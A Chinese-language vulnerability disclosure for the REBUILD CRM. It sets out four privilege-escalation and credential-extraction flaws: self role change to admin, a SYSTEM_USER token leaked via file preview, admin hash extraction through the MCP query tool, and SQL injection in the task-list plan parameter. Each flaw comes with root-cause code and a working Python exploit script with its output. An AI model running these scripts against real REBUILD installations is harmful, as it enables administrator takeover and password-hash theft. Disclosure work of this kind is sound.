# REBUILD 漏洞报告 软件名称:REBUILD 开发者或厂商:REBUILD 代码仓库:https://github.com/getrebuild/rebuild ## 1. 普通账号修改自己的角色成为管理员 简要描述:普通账号可以越权把自己的角色改成管理员。 影响版本:3.5.0 ~ 4.5.4 前置条件:攻击者拥有普通账号。 ### 漏洞成因 `/app/entity/record-save` 与 `/app/entity/common-save` 都从请求 JSON 的 `metadata.entity` 取实体名,再按实体分发到对应的 Service。`User` 不属于业务实体,字段写入校验对非业务实体提前返回,`metadata-conf.xml` 中标记为 `updatable="false"` 的 `roleId` 因此仍然可写。相关代码如下: ```java // src/main/java/com/rebuild/core/metadata/EntityRecordCreator.java:82-84 commit 741e3e5 @Override public boolean onSetFieldValueWarn(Field field, String value, Record record) { // 非业务实体 if (!MetadataHelper.isBusinessEntity(field.getOwnEntity())) return true; ``` `UserService.update` 的 `checkAdminGuard` 不限制用户改自己的字段。相关代码如下: ```java // src/main/java/com/rebuild/core/privileges/UserService.java:236-247 commit 741e3e5 private void checkAdminGuard(Permission action, ID user) { ID currentUser = UserContextHolder.getUser(); if (UserHelper.isAdmin(currentUser)) return; if (action == BizzPermission.CREATE || action == BizzPermission.DELETE) { throw new AccessDeniedException(Language.L("无操作权限")); } // 用户可自己改自己 if (action == BizzPermission.UPDATE && currentUser.equals(user)) return; throw new AccessDeniedException(Language.L("无操作权限")); } ``` 因此,普通账号只要把 `roleId` 指向管理员角色 `003-0000000000000001`,就能获得管理员权限。 ### 复现环境搭建 使用官方镜像 `getrebuild/rebuild:4.5.3` 和 MySQL 8.0,`docker-compose.yml` 如下: ```yaml services: mysql: image: mysql:8.0 environment: MYSQL_ROOT_HOST: '%' MYSQL_ROOT_PASSWORD: 'rebuild!P4wd' healthcheck: test: ['CMD-SHELL', 'mysqladmin ping -h mysql -u root -p$$MYSQL_ROOT_PASSWORD'] interval: 5s timeout: 3s retries: 10 rebuild: image: getrebuild/rebuild:4.5.3 depends_on: mysql: condition: service_healthy entrypoint: ['sh', '-c'] command: - > mkdir -p /app/rebuild/.rebuild && java -Dinitialize=docker -Duser.timezone=Asia/Shanghai -DSN= -DDataDirectory=/app/rebuild/.rebuild -jar /app/rebuild/rebuild-boot.jar ports: - '18080:18080' volumes: - rebuild_data:/app/rebuild/.rebuild volumes: mysql_data: rebuild_data: ``` 启动后,用管理员账号在管理中心新建部门 `Default Dept` 和用户 `testuser`,密码设为 `Test@1234`,角色选择 `RB示例角色`,并在角色权限中勾选“允许登录”。 ### 复现过程 执行以下脚本: ```python import hashlib, httpx, datetime, re BASE = "http://localhost:18080" def login(client, user, password): salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") stored = hashlib.sha256(password.encode()).hexdigest() payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest() return client.post(f"{BASE}/user/user-login", params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""}, content=payload, headers={"Content-Type": "text/plain"}) with httpx.Client(timeout=30) as c: print("login", login(c, "testuser", "Test@1234").text) r = c.get(f"{BASE}/settings/user") uid = re.search(r'name="rb.currentUser" content="([^"]+)"', r.text).group(1) print("uid", uid) r = c.get(f"{BASE}/user/admin-verify") print("admin-verify before", r.status_code, r.text) r = c.post(f"{BASE}/app/entity/record-save", json={"metadata": {"entity": "User", "id": uid}, "roleId": "003-0000000000000001"}) print("role change", r.status_code, r.text) salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") payload = hashlib.sha256((hashlib.sha256("Test@1234".encode()).hexdigest() + "iloverb" + salt).encode()).hexdigest() r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"}) print("admin-verify after", r.status_code, r.text) r = c.get(f"{BASE}/admin/bizuser/users") print("admin page", r.status_code, "len", len(r.text)) ``` 输出如下: ```text login {"data":{},"error_code":0,"error_msg":"调用成功"} uid 001-01a1b0408a060dd8 admin-verify before 403 {"timestamp":"2026-11-06 17:46:22","status":403,"error":"Forbidden","path":"/user/admin-verify"} role change 200 {"data":{"id":"001-01a1b0408a060dd8"},"error_code":0,"error_msg":"调用成功"} admin-verify after 200 {"error_code":0,"error_msg":"调用成功"} admin page 200 len 26909 ``` 随后用 `testuser` 登录浏览器,打开管理中心,已经具有管理员权限: ![](img/01-c0-admin.png) ## 2. 普通账号通过 X-AuthToken 获得 SYSTEM_USER 身份 简要描述:普通账号可以从文件预览接口取得 `SYSTEM_USER` 的 CSRF token,再用该 token 通过 `X-AuthToken` 以 `SYSTEM_USER` 身份调用接口。 影响版本:4.3.0 ~ 4.5.4 前置条件:攻击者拥有普通账号。 ### 漏洞成因 `FilePreviewer` 对非 ID 的 `src` 不做存在性或归属校验,`getFileFullUrl` 把新生成的 CSRF token 拼进 302 地址返回。相关代码如下: ```java // src/main/java/com/rebuild/web/commons/FilePreviewer.java:138-144 commit 741e3e5 private ModelAndView ooPreviewOrEditor(HttpServletRequest request, HttpServletResponse response, boolean editor) throws IOException { String src = getParameterNotNull(request, "src"); ID id = null; if (ID.isId(src)) { id = ID.valueOf(src); src = getFileById(id, getRequestUser(request)); } if (!OnlyOffice.isUseOoPreview()) { String previewUrl = OnlyOffice.getBestPreviewUrl(); previewUrl += CodecUtils.urlEncode(getFileFullUrl(src, AppUtils.getRequestUser(request))); response.sendRedirect(previewUrl); return null; } ``` ```java // src/main/java/com/rebuild/web/commons/FilePreviewer.java:376-388 commit 741e3e5 protected String getFileFullUrl(final String src, ID user) { if (CommonsUtils.isExternalUrl(src)) return src; if (user == null) throw new InvalidParameterException(Language.L("无效请求用户")); String fileUrl = src; boolean temp = fileUrl.startsWith("/temp/"); boolean data = fileUrl.startsWith("/data/"); if (temp || data) fileUrl = fileUrl.substring(6); fileUrl = String.format("/filex/download/%s?temp=%s&data=%s&_csrfToken=%s", fileUrl, temp, data, AuthTokenManager.generateCsrfToken(60 * 5)); fileUrl = RebuildConfiguration.getHomeUrl(fileUrl); return fileUrl; } ``` 上述代码中的 `AuthTokenManager.generateCsrfToken(60 * 5)` 没有用户参数,`generateToken` 在 `user` 为空时视为 `SYSTEM_USER`。相关代码如下: ```java // src/main/java/com/rebuild/api/user/AuthTokenManager.java:62-71 commit 741e3e5 protected static String generateToken(ID user, int seconds, String type) { // Type,User,Time,Version String desc = String.format("%s,%s,%d,v2", ObjectUtils.defaultIfNull(type, TYPE_ACCESS_TOKEN), ObjectUtils.defaultIfNull(user, UserService.SYSTEM_USER), System.nanoTime()); String token = EncryptUtils.toSHA1Hex(desc); Application.getCommonsCache().put(TOKEN_PREFIX + token, desc, seconds); return token; } ``` 因此,攻击者可以从文件预览接口获得 `SYSTEM_USER` 的 token。 `AppUtils.getRequestUser` 在没有会话时读取 `X-AuthToken`,把该 token 当作登录凭据。相关代码如下: ```java // src/main/java/com/rebuild/utils/AppUtils.java:100-118 commit 741e3e5 public static ID getRequestUser(HttpServletRequest request, boolean refreshToken) { Object user = null; try { user = request.getSession().getAttribute(WebUtils.CURRENT_USER); } catch (Exception resHasBeenCommitted) { log.debug("resHasBeenCommitted", resHasBeenCommitted); } if (user == null) user = getRequestUserViaToken(request, refreshToken); return user == null ? null : (ID) user; } protected static ID getRequestUserViaToken(HttpServletRequest request, boolean refreshToken) { String authToken = request.getHeader(HF_AUTHTOKEN); if (authToken != null) { return AuthTokenManager.verifyToken(authToken, false, refreshToken); } return getRequestUserViaAk(request, false); } ``` ### 复现环境搭建 重建环境,按第 1 节的方法创建普通用户 `testuser`。 ### 复现过程 执行以下脚本: ```python import hashlib, httpx, datetime, re BASE = "http://localhost:18080" def login(client, user, password): salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") stored = hashlib.sha256(password.encode()).hexdigest() payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest() return client.post(f"{BASE}/user/user-login", params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""}, content=payload, headers={"Content-Type": "text/plain"}) with httpx.Client(timeout=30) as c: print("login", login(c, "testuser", "Test@1234").text) r = c.get(f"{BASE}/commons/file-preview", params={"src": "/data/anything.txt"}, follow_redirects=False) print("file-preview", r.status_code) print("Location", r.headers.get("location")) token = re.search(r"_csrfToken(?:=|%3D)([a-f0-9]+)", r.headers["location"]).group(1) print("csrfToken", token) c.cookies.clear() r = c.get(f"{BASE}/app/entity/common-get", params={"id": "001-0000000000000000", "fields": "loginName,fullName,isDisabled"}, headers={"X-AuthToken": token}) print("common-get", r.status_code, r.text) salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") system_payload = hashlib.sha256(("system" + "iloverb" + salt).encode()).hexdigest() r = c.post(f"{BASE}/user/admin-verify", content=system_payload, headers={"Content-Type": "text/plain", "X-AuthToken": token}) print("admin-verify", r.status_code, r.text) r = c.get(f"{BASE}/admin/bizuser/users", headers={"X-AuthToken": token}) print("admin page", r.status_code, len(r.text)) ``` 运行输出如下: ```text login {"data":{},"error_code":0,"error_msg":"调用成功"} file-preview 302 Location https://view.officeapps.live.com/op/view.aspx?src=https%3A%2F%2Fgetrebuild.com%2Ffilex%2Fdownload%2Fanything.txt%3Ftemp%3Dfalse%26data%3Dtrue%26_csrfToken%3D523c786f60447bed3505aec8612b6021deea8168 csrfToken 523c786f60447bed3505aec8612b6021deea8168 common-get 200 {"data":{"loginName":"system","fullName":"系统用户","isDisabled":"T","userId":"001-0000000000000000"},"error_code":0,"error_msg":"调用成功"} admin-verify 200 {"error_code":0,"error_msg":"调用成功"} admin page 200 26578 ``` ## 3. 普通账号通过 MCP 获取管理员口令哈希并登录 简要描述:普通账号可以调用 MCP 的 `QueryRecords` 工具,对 `User.password` 做前缀匹配,逐位取出管理员口令哈希,再用该哈希计算登录载荷登录管理员。 影响版本:4.5.0 ~ 4.5.4 前置条件:攻击者拥有普通账号。 ### 漏洞成因 `QueryRecords` 只检查实体是否存在,不限制业务实体,也不检查字段是否允许查询。相关代码如下: ```java // src/main/java/com/rebuild/core/aibot2/tool/QueryRecords.java:43-53 commit 741e3e5 Entity entity = ToolHelper.resolveEntity(entityName); if (entity == null) { throw new KnownToolException("未知实体 : " + entityName + ToolHelper.suggestEntity(entityName)); } String name = args.getString("name"); JSONArray filter = args.getJSONArray("filter"); String equation = args.getString("equation"); String fields = args.getString("fields"); String sort = args.getString("sort"); int limit = args.getIntValue("limit"); ``` `queryByFilter` 把用户提交的 `filter` 交给 `AdvFilterParser` 生成条件。`AdvFilterParser` 支持 `LK2` 前缀匹配,于是可以对 `password` 做逐位前缀判断。相关代码如下: ```java // src/main/java/com/rebuild/core/service/query/AdvFilterParser.java:769-773 commit 741e3e5 } else if (op.equalsIgnoreCase(ParseHelper.LK1)) { value = '%' + value.replace("%", "\\%"); } else if (op.equalsIgnoreCase(ParseHelper.LK2)) { value = value.replace("%", "\\%") + '%'; } sb.append(quoteValue(value, lastFieldMeta.getType())); ``` 登录校验使用 `sha256(库中 password + "iloverb" + UTC 日期)`,拿到口令哈希就能计算登录载荷。相关代码如下: ```java // src/main/java/com/rebuild/web/user/signup/LoginAction.java:293-299 commit 741e3e5 if (o == null || o[0] == null) return false; String salt = "iloverb" + LocalDate.now(ZoneOffset.UTC).format(DateTimeFormatter.BASIC_ISO_DATE); String hash = EncryptUtils.toSHA256Hex(o[0].toString() + salt); return StringUtils.equals(passwd2sha, hash); ``` ### 复现环境搭建 重建环境,按第 1 节的方法创建普通用户 `testuser`。 ### 复现过程 用 `testuser` 登录,生成个人访问密钥,再调用 MCP 接口。脚本如下: ```python import hashlib, httpx, datetime, json, string BASE = "http://localhost:18080" def login(client, user, password): salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") stored = hashlib.sha256(password.encode()).hexdigest() payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest() return client.post(f"{BASE}/user/user-login", params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""}, content=payload, headers={"Content-Type": "text/plain"}) with httpx.Client(timeout=30) as c: print("login", login(c, "testuser", "Test@1234").text) r = c.post(f"{BASE}/settings/access-token/generate") print("access-token", r.text) ak = r.json()["data"]["token"] def total(prefix): body = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "QueryRecords", "arguments": { "entity": "User", "fields": "loginName", "limit": 1, "filter": [ {"field": "loginName", "op": "EQ", "value": "admin"}, {"field": "password", "op": "LK2", "value": prefix} ], "equation": "AND" }} } r = c.post(f"{BASE}/gw/mcp/sse", headers={"Authorization": "Bearer " + ak, "Content-Type": "application/json"}, json=body) return json.loads(r.json()["result"]["content"][0]["text"])["total"] known = "" for i in range(64): for ch in "0123456789abcdef": if total(known + ch) == 1: known += ch break print("hash", known) salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") payload = hashlib.sha256((known + "iloverb" + salt).encode()).hexdigest() c.cookies.clear() r = c.post(f"{BASE}/user/user-login", params={"user": "admin", "passwd": payload, "autoLogin": "false", "vcode": ""}, content=payload, headers={"Content-Type": "text/plain"}) print("admin login", r.status_code, r.text) r = c.post(f"{BASE}/user/admin-verify", content=payload, headers={"Content-Type": "text/plain"}) print("admin-verify", r.status_code, r.text) r = c.get(f"{BASE}/admin/bizuser/users") print("admin page", r.status_code, len(r.text)) ``` 运行输出如下: ```text login {"data":{},"error_code":0,"error_msg":"调用成功"} access-token {"data":{"token":"rbk-0xUyX8OkPdHsIwUmp0hlbHwRQFyGFzCeU1gjshO1"},"error_code":0,"error_msg":"调用成功"} hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 admin login 200 {"data":{},"error_code":0,"error_msg":"调用成功"} admin-verify 200 {"error_code":0,"error_msg":"调用成功"} admin page 200 27031 ``` ## 4. 项目任务列表 SQL 注入 简要描述:普通账号可以在 `/project/tasks/list` 的 `plan` 参数中注入 SQL,读取数据库中的口令哈希。 影响版本:2.7.0 ~ 4.5.4 前置条件:攻击者拥有普通账号,并且能访问至少一个项目(公开项目,或作为成员/被共享的项目)。 ### 漏洞成因 `buildCustomPlanSql` 从 `plan` 参数中取出 `-` 后面的值,拼进 `priority = ` 后面的 SQL。`CommonsUtils.escapeSql` 处理反斜杠和引号,但不处理空格、比较运算符和 `0x` 字面量。相关代码如下: ```java // src/main/java/com/rebuild/web/project/ProjectTaskController.java:158-168 commit 741e3e5 private String buildCustomPlanSql(String planKey, ID projectId) { if (ID.isId(planKey)) { return "projectPlanId = '" + planKey + "'"; } String planValue = planKey.split("-")[1]; String baseSql = "projectId = '" + projectId + "' and "; if (planKey.startsWith(ProjectController.GROUP_PRIORITY)) { return baseSql + "priority = " + CommonsUtils.escapeSql(planValue); } ``` ```java // src/main/java/com/rebuild/utils/CommonsUtils.java:173-178 commit 741e3e5 public static String escapeSql(Object text) { text = text.toString().replace("\\'", "'"); text = text.toString().replace("\\", "\\\\"); return StringEscapeUtils.escapeSql((String) text); } ``` `taskList` 先执行 `select count(taskId) from ProjectTask where ...`,该查询使用 `createQueryNoFilter`,不带角色过滤。条件为真时 `count` 为任务数,条件为假时 `count` 为 0,因此可以把 `count` 当作布尔预言机。相关代码如下: ```java // src/main/java/com/rebuild/web/project/ProjectTaskController.java:128-132 commit 741e3e5 int count = -1; if (pageNo == 1) { String countSql = "select count(taskId) from ProjectTask where " + queryWhere; Object[] count2 = Application.createQueryNoFilter(countSql).unique(); count = ObjectUtils.toInt(count2[0]); ``` `ProjectTask` 的 `createdBy` 是到 `User` 的引用字段,AjQL 支持 `createdBy.password` 这样的路径。任务由管理员创建时,`createdBy.password` 就是管理员的口令哈希。 > [!NOTE] > 该问题与 [issue #597](https://github.com/getrebuild/rebuild/issues/597) 不是同一处缺陷。#597 针对 3.2.3 及更早版本,注入字段 `priority`,目前已被修复;本漏洞注入 `planValue`。 ### 复现环境搭建 重建环境,按第 1 节的方法创建普通用户 `testuser`。 用管理员账号新建公开项目 `Public Project`(`scope=1`),在项目中新建任务 `Demo Task`。 `testuser` 不是项目成员,但公开项目对所有登录用户可见。 ### 复现过程 用 `testuser` 登录,执行以下脚本: ```python import hashlib, httpx, datetime, re BASE = "http://localhost:18080" def login(client, user, password): salt = datetime.datetime.now(datetime.UTC).strftime("%Y%m%d") stored = hashlib.sha256(password.encode()).hexdigest() payload = hashlib.sha256((stored + "iloverb" + salt).encode()).hexdigest() return client.post(f"{BASE}/user/user-login", params={"user": user, "passwd": payload, "autoLogin": "false", "vcode": ""}, content=payload, headers={"Content-Type": "text/plain"}) with httpx.Client(timeout=30) as c: print("login", login(c, "testuser", "Test@1234").text) r = c.get(f"{BASE}/project/search", params={"gs": "PUB1"}, follow_redirects=False) pid = re.search(r"/project/(050-[0-9a-f]+)/tasks", r.headers["location"]).group(1) print("projectId", pid) def hit(prefix, ch): lo = (prefix + ch).encode().hex() hi = (prefix + chr(ord(ch) + 1)).encode().hex() plan = f"priority-1 and createdBy.password >= 0x{lo} and createdBy.password < 0x{hi}" r = c.get(f"{BASE}/project/tasks/list", params={"project": pid, "plan": plan, "pageNo": 1, "pageSize": 40}) return r.json()["data"]["count"] > 0 known = "" for i in range(64): for ch in "0123456789abcdef": if hit(known, ch): known += ch break print("hash", known) ``` 运行输出如下: ```text login {"data":{},"error_code":0,"error_msg":"调用成功"} projectId 050-01a1b05b7c852f1c hash 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 ``` 哈希与第 3 节得到的管理员口令哈希一致,说明该注入可以读取数据库中的口令字段。